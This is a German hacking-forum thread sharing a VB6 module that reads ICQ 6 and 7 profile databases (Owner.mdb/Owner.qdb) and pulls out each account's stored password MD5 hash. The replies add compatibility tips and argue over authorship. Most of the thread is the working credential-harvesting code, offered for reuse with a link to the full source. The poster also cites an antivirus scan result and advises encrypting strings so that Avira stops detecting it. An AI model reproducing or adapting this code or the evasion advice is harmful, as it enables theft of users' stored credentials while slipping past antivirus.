ICQ 6+7 PW Recovery by skilled

[Tix]

Habe ein altes Recovery Modul für ICQ gefunden und es war saulangsam da dacht ich mir ich schreib selbst eins, raus kam :
- Anderes Modul : 12,5 Sekunden ~
- Mein Modul : 0,37 Sekunden ~


Main Funktion :

'****************************************************************
'*  Module      : mICQ
'*  Author      : skilled
'*  Contact     :
'*      ICQ     : 665514
'*      MSN     : skilled1337@hotmail.com
'*
'*  Leave Credits if u use this snippet to skilled
'*
'*  Usage       : MsgBox ICQ
'****************************************************************
Public Function ICQ() As String
On Error Resume Next
Dim sICQPath As String
Dim sFolderBuffer As String
Dim sFolders() As String
Dim i As Integer
Dim sTmpBuffer As String
Dim lPos As Long
Dim sMD5Hash As String
Dim nFile As Integer
Dim arrFile() As Byte
nFile = FreeFile

Dim sFullPath As String
Dim sName(1) As String
sName(0) = "Owner.mdb"
sName(1) = "Owner.qdb"
sICQPath = Environ("appdata") & "\ICQ\"
sFolderBuffer = GetSubDirs(sICQPath)
sFolders = Split(sFolderBuffer, "|")

For i = 1 To UBound(sFolders) - 1
    If IsNumeric(sFolders(i)) = True Then
        sFullPath = sICQPath & sFolders(i) & "\" & sName(0)
        If Dir(sFullPath) = "" Then
            sFullPath = sICQPath & sFolders(i) & "\" & sName(1)
        End If
        
        If Dir(sFullPath) <> "" Then
            Open sFullPath For Binary As #nFile
            ReDim arrFile(LOF(nFile) - 1)
            Get #nFile, , arrFile
            Close #nFile
            sTmpBuffer = StrConv(arrFile, vbUnicode)
            lPos = InStr(sTmpBuffer, makeString("StoredPassword"))
            sMD5Hash = ""
            If lPos > 0 Then
                sTmpBuffer = Mid$(sTmpBuffer, lPos)
                sTmpBuffer = Replace$(sTmpBuffer, Chr(0), vbNullString)
                sTmpBuffer = Replace$(sTmpBuffer, Chr(132), vbNullString)
                sMD5Hash = Left(StringToHex(DecodeStr64(Mid(sTmpBuffer, 17, 44))), 32)
            End If
            
            If sMD5Hash <> "" Then
                ICQ = ICQ & "UIN : " & sFolders(i) & vbCrLf & "MD5 : " & sMD5Hash & vbCrLf & String(25, "=") & vbCrLf
            Else
                ICQ = ICQ & "UIN : " & sFolders(i) & vbCrLf & "Passwort nich gespeichert." & vbCrLf & String(25, "=") & vbCrLf
            End If
        End If
    End If
Next

End Function

Der vollständige Source :
http://www.xup.in/dl,76264724/ICQ.rar/


=================================
Ergebnis: 1/42 (2.39%) = Avira
Strings Encrypten und Avira ist weg.





lg,
skilled

[ghosty]

Bei ICQ 7 ist es statt "Owner.mdb" einfach nur "Owner.qdb".
(Für die, die es nicht wussten^^)

[nemo]

~

[Tix]

weil ich das Modul selbst geschrieben habe? und nicht modifiziert?

[nemo]

~

[Tix]

das ich ein Modul für ICQ 6 hatte welches ich getestet hab und es hat 12 Sekunden gebraucht für die Ausgabe dann hab ich ein neues VB Projekt geöffnet und den Code geschrieben.

von wem das Radix 64 Modul ist weiß ich nicht hab jedenfalls alles andere 100% selbst geschrieben



//danke ghosty
Nun ICQ 6 + ICQ 7 kompatibel

[nemo]

~

[hackerking]

Author : skilled

Anscheinend wohl eher coderipper wenn das stimmt was Nemo sagt

[inmate]

Also ich kenne Tix bzw Skilled und ich muss ihn in Schutz nehmen er kann VB sehr gut und ich denke nicht das er den Code von jemanden kopieren würde bzw die Credits weglassen würde.Ich denke es handelt sich um ein Irrtum.

mfG

[hAgBaRd2ooo]

Tix = skilled

Ich kenne ihn nun auch schon etwas und er ist wirklich leidenschaftlicher VB6 Coder.
Ich hätte es am liebsten wenn jetzt keiner mehr schreiben würde das es sich um einen Coderip handeln könnte, danke!


MfG
hAgi